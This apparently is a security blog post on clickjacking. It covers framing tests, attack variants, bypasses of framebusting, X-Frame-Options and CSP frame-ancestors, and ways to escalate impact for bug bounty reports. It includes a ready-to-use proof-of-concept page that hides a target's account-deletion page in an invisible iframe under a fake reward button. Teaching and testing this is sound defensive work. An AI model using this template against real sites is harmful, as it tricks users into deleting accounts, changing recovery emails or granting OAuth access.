July 18, 2026
Breaking the iframes: Modern Clickjacking Attacks Explained
Clickjacking is one of those bugs that’s easy to find and easy to get dismissed as “low impact” — so the real skill is proving it leads to…

By Fuzzyy Duck
4 min read
Clickjacking is one of those bugs that's easy to find and easy to get dismissed as "low impact" — so the real skill is proving it leads to a meaningful action. Here's the full picture, from detection through weaponized PoC.
The core idea
You load the target in an invisible (or disguised) iframe on your own page, overlay decoy content, and trick the victim into clicking something on their authenticated session that they didn't mean to click. The target's own cookies ride along because it's a real framed session. The whole bug class lives or dies on one question: can the page be framed?
Detection / test cases
First, check whether framing is even possible. Fastest test — drop the target into an iframe and load it locally:
<html>
<body>
<iframe src="https://target.com/account/settings" width="1000" height="700"></iframe>
</body>
</html><html>
<body>
<iframe src="https://target.com/account/settings" width="1000" height="700"></iframe>
</body>
</html>If it renders, framing protection is missing or weak. If it's blank/refused, inspect why:
- Check response headers for
X-Frame-Options(DENY/SAMEORIGIN) andContent-Security-Policy: frame-ancestors. - Look for JavaScript framebusting (
if (top !== self) top.location = self.location).
Things to enumerate across the app:
- Test every state-changing page, not just the homepage. Header configs are often applied inconsistently — the login page may be protected while
/account/delete,/settings/email,/oauth/authorize, or/transferare not. - Test authenticated vs unauthenticated views separately.
- Test different subdomains and legacy paths — protection is frequently uneven.
- Check whether
X-Frame-Optionsis set toALLOW-FROM(deprecated, ignored by modern browsers = effectively no protection). - Look for pages that only protect via JS framebusting (bypassable, below).
Techniques (variants beyond the basic overlay)
- Classic UI redress — invisible iframe (
opacity: 0) positioned so the target's real button sits under your fake "Click here to win" button. - Likejacking — same idea aimed at social-media action buttons (follow, like, share).
- Cursorjacking — hide the real cursor and render a fake one offset by X pixels, so the victim clicks somewhere other than where they think.
- Drag-and-drop / content extraction — trick the victim into dragging data out of the framed app (e.g. a CSRF token or profile data displayed in an input) into an attacker-controlled field. Rare now but still works against some apps.
- Filejacking — lure the victim into a file upload/download interaction that exposes their filesystem.
- Double-clickjacking (the newer angle worth knowing) — abuses the timing between
mousedownand the window/UI swapping underneath during a double-click, sidesteppingX-Frame-Optionsandframe-ancestorsentirely because it doesn't rely on framing the target at all. It uses a popup + rapid window manipulation instead. Worth researching if a target is fully framing-protected but still lets you land actions.
Defenses and their bypasses
JavaScript framebusting is the weakest defense and has several bypasses:
sandboxattribute on the iframe strips the framed page's ability to navigate the top:<iframe sandbox="allow-forms allow-scripts" src="...">— omittingallow-top-navigationneuters the busting script while keeping forms/clicks working.- Older
onbeforeunloadcancellation and204 No Contentflooding tricks (mostly historical now, but seen on legacy stacks).
X-Frame-Options — hard to bypass when correctly set to DENY/SAMEORIGIN, but real-world gaps:
- Header missing on some endpoints (inconsistent config — your best friend).
- Set to invalid/
ALLOW-FROMvalues that modern browsers ignore. - Present on the HTML response but the sensitive action is reachable via a different route that lacks it.
CSP frame-ancestors — the modern, robust control. Bypasses are mostly config errors:
frame-ancestorsmissing while onlyX-Frame-Optionsis present (and XFO has a gap).- Overly permissive value like
frame-ancestors *or a wildcard/whitelisted domain you can get content onto. - CSP present in a
<meta>tag —frame-ancestorsis ignored in meta CSP, only works as an HTTP header. Big and common finding.
SameSite cookies — worth understanding because they can silently kill your PoC. If the session cookie is SameSite=Laxor Strict, the framed request may not carry the cookie, so the action fails even though framing works. SameSite=None (or no attribute on older browsers) is what keeps clickjacking live for authenticated actions. Always confirm the cookie actually rides along in your PoC.
Exploitation — building the PoC
A weaponized proof of concept looks like this. The target's real button is invisible and positioned under a decoy:
<!DOCTYPE html>
<html>
<head>
<style>
iframe {
position: absolute;
top: 0; left: 0;
width: 1000px; height: 700px;
opacity: 0.0001; /* invisible but still clickable */
z-index: 2;
}
#decoy {
position: absolute;
z-index: 1;
/* position the fake button under where the real one lands */
top: 340px; left: 420px;
}
</style>
</head>
<body>
<div id="decoy">
<button style="font-size:22px;padding:20px">Claim your free reward 🎁</button>
</div>
<iframe src="https://target.com/account/delete-confirm"></iframe>
</body>
</html><!DOCTYPE html>
<html>
<head>
<style>
iframe {
position: absolute;
top: 0; left: 0;
width: 1000px; height: 700px;
opacity: 0.0001; /* invisible but still clickable */
z-index: 2;
}
#decoy {
position: absolute;
z-index: 1;
/* position the fake button under where the real one lands */
top: 340px; left: 420px;
}
</style>
</head>
<body>
<div id="decoy">
<button style="font-size:22px;padding:20px">Claim your free reward 🎁</button>
</div>
<iframe src="https://target.com/account/delete-confirm"></iframe>
</body>
</html>Tuning workflow:
- Temporarily set
opacityto ~0.3 so you can see the real button while aligning. - Adjust the decoy's
top/leftuntil it sits exactly over the sensitive control. - Drop opacity back to near-zero for the real PoC.
- Confirm the click actually executes the action while framed and authenticated (this is where SameSite bites).
For multi-step actions, chain frames or use pointer-events and scroll positioning to walk the victim through each click. PortSwigger's labs cover the multistep and prefilled-form variants well if you want practice targets.
What makes it reportable (impact escalation)
This is the part that gets clickjacking out of the "informational, won't fix" bin. Frame a page where a single click causes real damage:
- Account deletion / deactivation
- Email or password-recovery address change (→ account takeover)
- OAuth consent /
authorizegrant (→ account linking or token theft) - Money transfer / payment confirmation
- Disabling 2FA
- Changing privacy settings to public
- Adding an attacker as an admin/collaborator
If you can combine a framable sensitive endpoint with a prefilled value (via URL params) so the one click does something specific and damaging, you've turned a "meh" finding into a proper account-takeover chain. Always demo the end state in your report — a screen recording showing the victim's account actually changed is worth ten paragraphs of theory.